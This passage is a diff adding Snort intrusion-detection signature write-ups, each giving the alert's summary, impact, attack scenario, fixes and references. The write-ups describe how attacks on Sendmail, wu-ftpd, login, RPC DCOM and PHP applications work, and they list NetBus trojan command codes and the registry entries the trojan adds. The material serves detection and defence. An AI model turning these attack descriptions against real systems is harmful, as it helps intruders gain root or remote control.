+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0354
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1090.txt
+++ snort-2.8.5.2/doc/signatures/1090.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1090
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2087.txt
+++ snort-2.8.5.2/doc/signatures/2087.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2087
+
+--
+Summary:
+vulnerability in Sendmail.
+
+--
+Impact:
+The remote attacker can gain access to a machine with the credentials of
+the user running the Sendmail daemon, usually 'root'.
+
+--
+Detailed Information:
+A vulnerability exists in the Sendmail MTA Daemon that could allow an
+attacker the opportunity to gain root access.
+
+A programming error exists such that a buffer overflow can be caused
+using the header fields in an SMTP session. Using the '<' and '>'
+characters in the 'from' field, an attacker can increment a counter to
+the extent that the buffer exceeds it's limit.
+
+--
+Affected Systems:
+All systems using Sendmail prior to version 8.12.8
+	
+--
+Attack Scenarios:
+The attacker can craft an email message that contains a "from" header
+with enough sequences of "<>" to cause a counter to exceed it's maximum
+size thus causing the buffer overflow.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+All users of Sendmail should upgrade to the latest non-affected version
+as soon as possible.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+http://www.kb.cert.org/vuls/id/398025
+
+CVE Entry
+CAN-2002-1337
+
+Sendmail:
+http://www.sendmail.org/8.12.8.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3360.txt
+++ snort-2.8.5.2/doc/signatures/3360.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3360
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000648.txt
+++ snort-2.8.5.2/doc/signatures/100000648.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000648
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "whos.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "whos.php" script 
+used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3274.txt
+++ snort-2.8.5.2/doc/signatures/3274.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3274
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+buffer overflow vulnerability affecting "login" via Telnet.
+
+--
+Impact:
+Serious. Unauthorized administrative access to the target host.
+
+--
+Detailed Information:
+The login binary is used when establishing an interactive session on a
+system. It is used locally and by protocols that allow remote access. A
+buffer overflow condition exists in some versions of login that can be
+triggered by the manipulation of environment variables.
+
+This event is generated when an attempt is made to overflow login via
+telnet by manipulating the TTYPROMPT environment variable.
+
+--
+Affected Systems:
+	Systems using Sys V derived login
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer by inserting 6 bytes of data followed
+by 65 characters and a newline into the TTYPROMPT variable.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000786.txt
+++ snort-2.8.5.2/doc/signatures/100000786.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000786
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "cat" parameter in the "browse.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/711.txt
+++ snort-2.8.5.2/doc/signatures/711.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+711
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw in SGI IRIX's telnetd.
+
+--
+Impact:
+Serious. Arbitrary code execution. Possible remote root compromise of 
+the host.
+
+--
+Detailed Information:
+When setting one of the _RDL environment variables, IRIX's telnetd logs 
+the information via syslog. When telnetd calls syslog, it is possible to
+manipulate the variable to overwrite values on the stack so that code 
+given is executed as the user telnetd is run as, typically root.
+
+--
+Affected Systems:
+	SGI IRIX versions 6.2 to 6.5.8
+	SGI IRIX versions 5.2 to 6.1 with patches 1010 and 1020. 
+
+--
+Attack Scenarios:
+An attacker can gain a root shell with this attack.
+
+--
+Ease of Attack:
+Simple. Exploit code exisits and is readily available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply patch from SGI.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS304
+
+Bugtraq:
+http://www.securityfocus.com/bid/1572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1663.txt
+++ snort-2.8.5.2/doc/signatures/1663.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1663
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+PacketStorm:
+http://packetstormsecurity.org/new-exploits/perliis.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115.txt
+++ snort-2.8.5.2/doc/signatures/115.txt
@@ -0,0 +1,161 @@
+Rule:
+
+--
+Sid:
+115
+
+--
+Summary:
+This event is generated when the victim confirms the connection request 
+sent by the attacker using the NetBus Pro 2.0 trojan.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine. This Trojan
+also has the ability to scan machines and networks for open ports, it
+can also redirect legitimate traffic to other destinations. It can turn
+the infected host into an open proxy server.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Netbus sever to
+programs normally started on boot. Due to the nature of this Trojan it
+is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	109	netbus active (outgoing TCP connection)
+	110	netbus getinfo (incoming TCP connection)
+	115	netbus active (outgoing TCP connection)
+
+Server ports usually opened may be one of the following depending on the
+version of netbus: 12345, 12346, 20034
+
+NetBus Pro 2.0 incorporates its own protocol. It uses port 20034 by
+defualt, but it can be changed by the attacker. Packet data includes a
+ten byte header followed by the packet's encrypted data. The first two
+bytes of the header are static: 42 4E.  The next two bytes indicate the
+size of the packet, followed by two bytes for the version number,
+followed by two random bytes, and the final ninth and tenth byte make up
+the command code. To look for an attack from one of these functions, the
+header of the suspicious packet will look like: 42 4E S1 S2 V1 V2 R1 R2 C1 C2
+
+NOTE: S1 and S2 are size byte one and size byte two. V1 and V2 are
+version number byte one and version number byte two. R1 and R2 are
+random bytes one and two. C1 and C2 are the command code bytes.
+
+The following is a list of the command codes for many of Net Bus Pro 2.0's functions:
+
+	Capture Desktop Image: 41 01
+	CDROM Open and Close: 60 01
+	Client Chat: 08 00
+	Execute File: 30 01
+	Reading Directory Listing: 50 00
+	Directory Traversal: 51 00
+	Go To URL: 33 01
+	Keyboard Tricks: 61 01
+	Keylogger: 40 01
+	Mouse Tricks: 65 01
+	Open Document: 33 01
+	Play Sound: 31 01
+	Plugin Manager: 90 00
+	Print Document: 34 01
+	Record Sound: 43 01
+	Redirect Application: 10 01
+	Redirect Port: 00 01
+	Registry Manager: 70 00
+	Remote Control: 73 01 and 72 01
+	Send Message: 40 00
+	Send Text: 64 01
+	Show Image: 32 01
+	Sound System: 80 00
+	System Administrator: 21 00
+	System Information: 30 00
+	Windows Manager: 60 00
+	Any Windows Exit Function(Shutdown, Reboot, etc.): 50 01
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+The manual removal of this Trojan should only be attempted by an
+experienced Windows system administrator.
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+
+Registry keys added include:
+
+	Netbus Server Pro
+	PATCH "C:\windows\patch.exe /nomsg" - note: the entry may not necessarily be called PATCH
+	NetBuster = ""
+	SysCopy = "command /c copy %windir%\\keyhook.dl_ %windir%\\*.dll /Y"
+	Rundll32 = "rundll.dl_ /noadd"
+	Rundll = "regedit /s nbsetup2.reg"
+
+Later versions may also add one of these registry entries:
+
+	HKEY_LOCAL_MACHINE/SOFTWARE/UltraAccess Networks/NetBus Server/
+	HKEY_CURRENT_USER/NetBus Server/
+
+These entries should be deleted.
+
+The files rundll.dl_ (note the underscore, this is important) and
+nbsetup2.reg should be deleted if they exist.
+
+Ending the process is necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky Macatee <rmacatee@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS401
+http://www.whitehats.com/info/IDS403
+
+Hackfix.org
+http://www.hackfix.org/netbusfix/index.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/netbus/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2983.txt
+++ snort-2.8.5.2/doc/signatures/2983.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2983
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000719.txt
+++ snort-2.8.5.2/doc/signatures/100000719.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000719
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "index.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1581.txt
+++ snort-2.8.5.2/doc/signatures/1581.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1581
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1528.txt
+++ snort-2.8.5.2/doc/signatures/1528.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1528
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000425.txt
+++ snort-2.8.5.2/doc/signatures/100000425.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000425
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotWidget CMS" application running on a webserver. Access to the file "printfriendly.php" using a remote file being passed as the "file_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "file_path" parameter in the "printfriendly.php" script used by the "DotWidget CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotWidget CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000168.txt
+++ snort-2.8.5.2/doc/signatures/100000168.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000168
+
+-- 
+Summary: 
+The password-cracking tool Hydra has been detected in HTTP traffic.
+
+--
+Impact:
+An attacker may be attempting to break into one or more web servers monitored 
+by Snort via a brute-force password attack. If successful, the attacker may 
+gain unauthorized access to internal networks.
+
+--
+Detailed Information:
+Hydra is a password-cracking tool released by a group of security experts 
+called THC, "The Hacker's Choice." Requests sent by this tool to a web server 
+contain the User-Agent string "Mozilla/4.0 (Hydra)". Since normal browsers' 
+User-Agent strings do not contain the string "(Hydra)", the presence of this 
+string indicates that the Hydra tool is likely being used.
+
+--
+Affected Systems:
+Any system running a web server.
+
+--
+Attack Scenarios:
+Attackers will use the Hydra password-cracking tool.
+
+--
+Ease of Attack:
+Simple, as the program is publicly available and is well-documented.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check system logs and Snort alert logs for suspicious activity, particularly 
+unusual logons. Ensure that secure passwords are being used throughout your 
+network.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/344.txt
+++ snort-2.8.5.2/doc/signatures/344.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+
+344
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a 
+vulnerability in Wu-ftpd.
+
+--
+Impact:
+
+Serious. Full system compromise is possible.
+
+--
+Detailed Information:
+Some versions of Wu-ftpd contain an exploitable vulnerability in SITE 
+EXEC command, which can trigger a buffer overflow enabling an attacker 
+to gain root privileges. Anonymous access is enough for this exploit to 
+work.
+
+--
+Affected Systems:
+
+	Any version of Linux running wu-ftpd 2.6.0 and lower
+
+--
+Attack Scenarios:
+An attacker tries to connect to the server on port 21 anonymously. Then 
+he creates special directories using the MKD (make directory) command, 
+and then change its current FTP path into them using the CWD (change 
+current directory) command followed by a SITE EXEC on that directory. 
+
+
+--
+Ease of Attack:
+
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+Disable anonymous FTP access to your site.
+
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2000-13.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/949.txt
+++ snort-2.8.5.2/doc/signatures/949.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+949
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/342.txt
+++ snort-2.8.5.2/doc/signatures/342.txt
@@ -0,0 +1,62 @@
+SID:
+342
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd on Solaris 8
+
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure.
+Restrict access to ftp at the firewall to known hosts only
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1652.txt
+++ snort-2.8.5.2/doc/signatures/1652.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1652
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in version 1.2 of NCSA web server.
+
+--
+Impact:
+File retrieval leading to compromise of confidential information, 
+potential root exploit.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to manipulate a cgi
+script to retrieve files outside the web root of version 1.2 of the NCSA
+web server.
+
+The vulnerability exists in the cgi script "campas"
+
+--
+Affected Systems:
+	web servers running a very old (1995) version of NCSA web 
+	server may have this cgi script installed.
+
+--
+Attack Scenarios:
+The attacker can make an HTTP GET request to the script and include
